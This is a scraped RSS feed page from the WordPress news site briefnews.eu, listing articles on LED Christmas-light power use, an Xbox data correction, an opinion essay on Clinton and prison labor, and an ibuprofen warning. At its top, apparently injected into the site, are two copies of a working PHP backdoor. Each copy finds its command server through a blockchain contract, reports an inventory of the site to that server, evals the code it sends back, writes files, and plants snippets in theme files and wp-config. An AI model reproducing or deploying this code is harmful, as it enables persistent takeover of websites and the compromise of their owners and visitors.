// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); usage – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 24 Dec 2017 19:33:17 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png usage – Brief News https://briefnews.eu 32 32 Calculating the Power Usage of LED vs. Incandescent Christmas Lights https://briefnews.eu/calculating-the-power-usage-of-led-vs-incandescent-christmas-lights/ https://briefnews.eu/calculating-the-power-usage-of-led-vs-incandescent-christmas-lights/#respond Sun, 24 Dec 2017 19:33:17 +0000 http://briefnews.eu/calculating-the-power-usage-of-led-vs-incandescent-christmas-lights/ Let’s calculate how much energy your LEDs suck up relative to old-school incandescents.


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]]> https://briefnews.eu/calculating-the-power-usage-of-led-vs-incandescent-christmas-lights/feed/ 0 Correction: Undercounted usage data in our Xbox Unleashed analysis https://briefnews.eu/correction-undercounted-usage-data-in-our-xbox-unleashed-analysis/ https://briefnews.eu/correction-undercounted-usage-data-in-our-xbox-unleashed-analysis/#respond Sun, 11 Jun 2017 14:59:54 +0000 http://briefnews.eu/correction-undercounted-usage-data-in-our-xbox-unleashed-analysis/

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After some oblique references via tweet, Microsoft has directly responded to our request for comment on our recent Xbox data analysis project. That response has led us to issue the following corrections and clarifications to our piece.

Microsoft has given us reason to believe the usage data provided by Xbox API consisted of incomplete estimates of total Xbox Live usage, and does not reflect a complete account of recent usage sessions by the sampled Gamertags. While the data provided seemed reliable in our spot tests, Microsoft tells us the API was “intended to display to each Xbox gamer an approximation of the time spent in a game so that they have the option to compare it with other gamers on the service.”

That fault in the underlying data has led us to vastly underestimate total usage times for the apps and games in our usage sample. Graphs and charts that refer to average minutes played or percentage of users who played a game during that 4.5 month period seem to be an order of magnitude lower than the actual per-app usage rates and times. The “My Games and Apps” section of the Xbox One was used by 71 percent of Xbox One players during our sample, according to Microsoft, not the approximately 6.3 percent shown by our data.

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]]> https://briefnews.eu/correction-undercounted-usage-data-in-our-xbox-unleashed-analysis/feed/ 0 The Reaction to Hillary Clinton’s Prison Labor Usage Illustrates the Failings of Politics as Fandom https://briefnews.eu/the-reaction-to-hillary-clintons-prison-labor-usage-illustrates-the-failings-of-politics-as-fandom/ https://briefnews.eu/the-reaction-to-hillary-clintons-prison-labor-usage-illustrates-the-failings-of-politics-as-fandom/#respond Fri, 09 Jun 2017 02:26:54 +0000 http://briefnews.eu/the-reaction-to-hillary-clintons-prison-labor-usage-illustrates-the-failings-of-politics-as-fandom/ Not a day goes by without some sort of Twitter controversy/shitfight any more, and while that very fact probably means that most of these 140-character slanging matches aren’t worth covering, they can occasionally illustrate a wider point that is worth discussing. So it goes with the argument that erupted earlier this week about Hillary (and Bill) Clinton’s use of prison labor during Bill’s period as Governor of Arkansas.

The controversy was sparked by a passage in Clinton’s 1996 book It Takes a Village, which was exhumed and posted on Twitter in the wake of Bill Maher’s “joke” about being a “house nigger.” In the passage, Clinton describes how local prison inmates were put to work at the governor’s mansion, “a longstanding tradition [that] kept costs down”:

The use of unpaid labor is, indeed, a longstanding tradition in the south. It is one that persists today because of the 13th Amendment, which provides, “Neither slavery nor involuntary servitude, except as a punishment for crime whereof the party shall have been duly convicted, shall exist within the United States.” (Italics mine.)

These days, this convenient little exemption is used to “keep costs down” in all sorts of ways. Prison labor is used by government departments throughout the country, and also more and more in the private sector. As Mother Jones‘s Kanyakrit Vongkiatkajorn explains in an excellent piece from last year:

In 1979, Congress created a program that gives incentives to private companies to use prison labor. Currently, the federal prison industries program produces items ranging from mattresses to prescription eyewear. Some inmates are employed as call center operators (“It’s the best kept secret in outsourcing!” says the program’s website.) Last year, federal inmates helped bring in nearly $ 472 million in net sales—but only 5 percent of that revenue went to pay inmates.

This is, to put it bluntly, a fucking disgrace. The manner in which private companies and government bodies alike have been able to budget and build on the assumption that they will have free or almost-free labor available is morally reprehensible. The history of the 13th Amendment is a topic for another essay, but America’s economy prior to 1865 was based on slavery, and this amendment means that the use of captive labor is alive and well 150 years later. The whole rotten system fuels the prison industrial complex, providing a huge and ongoing motivation for this country to maintain a large prison population from which labor can be drawn.

Perhaps most egregiously, prison labor these days is often reframed as an “opportunity” for prisoners. By working for nothing, they might gain experience in a field wherein they might work for a pittance when they get out of jail! What an opportunity! Who could possibly say no? Well, no-one, as it turns out: these programs are often “voluntary,” but if your choice is between working for free in the governor’s mansion or staying in a prison where conditions are some of the worst in the developed world, that is no choice at all.

All of which brings us back to Hillary Clinton. As someone whose political views have slowly moved leftwards since her time in Arkansas and the White House, perhaps she saw nothing wrong with prison labor back in the 1980s. Perhaps she did and nevertheless submitted to “tradition.” Maybe she and Bill had a screaming row about it. We’ll never know. Regardless, for someone so apparently committed to criminal justice reform and ending mass incarceration, the use of workers who are essentially modern-day slaves is a bad look, to say the least.

If nothing else, the controversy around her happy recollection of the prison labor program in Arkansas has, for a brief moment, put prison labor back in the headlines. Sadly, though, it’ll no doubt just as quickly be displaced by whatever godawful thing that Donald Trump does next, and America will go back to happily consuming products made by modern-day slaves. If nothing else, though, you might think that the reaction of both Clinton and her supporters to this piece of her history might be along the lines of, “Damn, this is fucked up, I’m really shocked at this and I hope it’s something she looks back on with regret and disgust.” I expect if you asked Clinton herself this, you might well get that exact answer.

Her most avid supporters, though? Nope. On Twitter over the last couple of days, there’s been an awful lot of this:

Or this:

And so on.

This isn’t the reaction of all Clinton supporters, of course, but it does characterize what I really want to talk about in this essay: the idea of politics as fandom. Responses like those above are the sort of thing you’d associate more with the support of a sports team or a favorite artist than a politician. They indicate a world view wherein everything your favorite does is somehow explicable or excusable, and everything their opponents do is worthy of virulent condemnation.

This goes both ways, obviously: the people on Twitter who jump all over every perceived Clinton wrongdoing as evidence that she is some sort of evil witch who should be locked up forthwith are gleefully milking this for all it’s worth. For the record, in this writer’s opinion, those people are just as obnoxious as those who insist on presenting Hillary as some sort of flawless avatar of virtue.

In any case, it’s a natural reaction to root for whoever it is you root for, whether it’s in sport, or music, or politics, or whatever else. It’s also natural that we often support the politician with whom we identify most — especially in the context of a US Presidential primary or election, given the personality-focused nature of those contests. And god knows there’s been enough shit thrown at Hillary Clinton over the last couple of years. It’s understandable, then, that her supporters feel somewhat protective of her.

When it comes to politics, though, this kind of devotion is a reaction that we absolutely need to be conscious of and try to transcend. Politicians are not celebrities. They’re not people of who you become fans. To some extent, the politics of fandom is an extension of celebrity culture: politicians are presented, first and foremost, on the basis of their personalities. We saw the nadir of this with last year’s Republican primaries, wherein Donald Trump basically spent all his time shitting on his opponents’ perceived personal failings. If he discussed policy at all, it was only in the sense of vague promises that he’d get around to it at some point.

But politicians are the sum of their policies — nothing more, and nothing less. The politics of fandom is both asinine and dangerous. It invites people to judge politicians as “good” or “bad” depending on who they are, not what they do. It allows us to cast the people we don’t like as cartoonish figures who are entirely good or entirely evil, when in virtually every case — there are, of course, exceptions — politicians are an amalgam of good and bad. This is at least part of the reason for the polarized landscape of American politics, I think — if you think your opponent is flat-out evil, how can you engage with him or her?

In this case, if it was Donald Trump who’d been enjoying the prison labor of Arkansas, it’s not hard to imagine those defending Clinton to be just as enthusiastically condemning Trump. If it was Bernie Sanders, some of those condemning Clinton would be defending him. And so on. In every case, a situation that pretty much any liberal (or compassionate human being) would agree is objectively fucked up is presented as somehow OK because of the people involved.

But look, we have to be able to discuss issues — issues that might relate, however tangentially, to Hillary Clinton, or Bernie Sanders, or Donald Trump, or whoever — without those issues devolving into partisan shitfights. In this case, there are some people who are still salty at Clinton because of either the Democratic primary or the Presidential election and will use something, anything, like this to jump all over her. There are other people who think Hillary must be defended to the hilt over anything, even something as self-evidently indefensible as this.

The rest of us, hopefully, can get away from the idea of politics as fandom and say, “Damn, look at this passage from HRC’s book. Isn’t it terrible that penal labor is used in the goddamn governor’s mansion in Arkansas? Doesn’t that show how pervasive this awful system is? Maybe people should be talking about it!”

Clearly, a world in which people are able to calmly and objectively evaluate a politician’s policies, without recourse to personal sympathies or the lack thereof, is an impossible ideal. Humans don’t work that way. But it’s nevertheless an ideal toward which we should strive. Until we do, we’re doomed to an eternity of Twitter fights, and god knows that no-one deserves that.

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]]> https://briefnews.eu/the-reaction-to-hillary-clintons-prison-labor-usage-illustrates-the-failings-of-politics-as-fandom/feed/ 0 Ibuprofen WARNING: Regular usage for just ONE week ‘increases heart attack risk’ https://briefnews.eu/ibuprofen-warning-regular-usage-for-just-one-week-increases-heart-attack-risk-2/ https://briefnews.eu/ibuprofen-warning-regular-usage-for-just-one-week-increases-heart-attack-risk-2/#respond Wed, 10 May 2017 08:19:48 +0000 http://briefnews.eu/ibuprofen-warning-regular-usage-for-just-one-week-increases-heart-attack-risk-2/

EXPERTS have advised people to try and avoid regularly taking ibuprofen after research showed just a week on the painkiller was enough to increase the risk of a heart attack by half.

Daily Express :: Health Feed

